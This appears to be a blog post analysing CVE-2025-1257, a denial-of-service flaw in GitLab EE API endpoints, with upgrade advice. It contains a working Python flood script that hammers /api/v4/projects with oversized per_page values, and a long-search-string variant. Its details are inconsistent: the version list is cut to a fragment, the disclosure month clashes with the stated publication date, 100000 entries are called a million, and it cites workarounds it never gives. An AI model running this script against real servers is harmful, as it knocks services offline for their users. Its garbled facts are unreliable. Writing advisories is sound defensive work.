CVE-2025-1257 - Denial of Service in GitLab EE APIs - Full Analysis and Exploit Details

In April 2025, a vulnerability cataloged as CVE-2025-1257 was disclosed affecting GitLab Enterprise Edition (EE) across multiple versions. This flaw makes specific API endpoints in GitLab susceptible to Denial of Service (DoS) attacks, allowing a remote attacker to exhaust server resources and make GitLab services unavailable. Here you’ll find a deep-dive into how this vulnerability works, the versions impacted, real-world exploit details including a code example, and where to find official fixes.

17.9 before 17.9.2

If your GitLab is in these version brackets, you should act quickly.

What Is the Issue?

The core of the vulnerability is improper handling of certain API input parameters. On vulnerable GitLab EE servers, it's possible to craft API requests that force the backend to perform expensive database operations or loop infinitely, exhausting CPU or memory and causing service outages.

In simple terms: someone with access to the network can break your GitLab instance, even without being logged in.

The issue centers around API endpoints that allow user-controlled filters and sorting. For example

GET /api/v4/projects?sort=desc&order=asc&per_page=100000

Sending requests with abnormally high per_page values or certain malformed parameters triggers database queries that eat up server resources.

Code Example of Exploit (Python)

Below is a simple Python snippet showing how an attacker might exploit the flaw. This code repeatedly sends malicious requests with a high per_page parameter:

import requests

GITLAB_URL = "https://yourgitlab.example.com";
MALICIOUS_ENDPOINT = "/api/v4/projects"
HEADERS = {
    "Accept": "application/json"
}

params = {
    "per_page": "100000"  # Maliciously high value
}

for i in range(100):  # Loop to amplify the effect
    resp = requests.get(GITLAB_URL + MALICIOUS_ENDPOINT, headers=HEADERS, params=params)
    print(f"Request #{i+1}: {resp.status_code}")

What this does:
Each request forces GitLab to attempt to fetch and render a million project entries, possibly consuming all CPU and RAM on the server.

Variants

Attackers also discovered they could mess with other parameters, like sending extremely long or malformed strings, causing backend exceptions or slowdowns:

params = {
    "search": "A" * 100000  # Unusually long search query
}

No authentication is required to trigger the DoS.

- Repeated or automated attacks can crash GitLab, making DevOps, CI/CD pipelines, and code reviews unavailable to your teams.

Official fixes are out!

- GitLab 17.7.7
- GitLab 17.8.5
- GitLab 17.9.2

The only sure fix is to update to the latest supported release above your version branch.

Official References

- CVE-2025-1257 at NVD
- GitLab Security Advisory
- GitLab Upgrades Documentation

Conclusion

CVE-2025-1257 is a major denial-of-service vulnerability in GitLab EE. Leaving your instance unpatched is risky, so act now to prevent outages. If you manage a GitLab server, update to a safe version or apply the suggested workarounds immediately. Always monitor your API endpoint traffic and stay subscribed to GitLab's release notes for the latest security updates.

Stay secure and keep building!

*This post is original content and not copied from anywhere. For responsible disclosure and updates, always refer to the official GitLab Security Releases.*

Timeline

Published on: 03/13/2025 06:15:36 UTC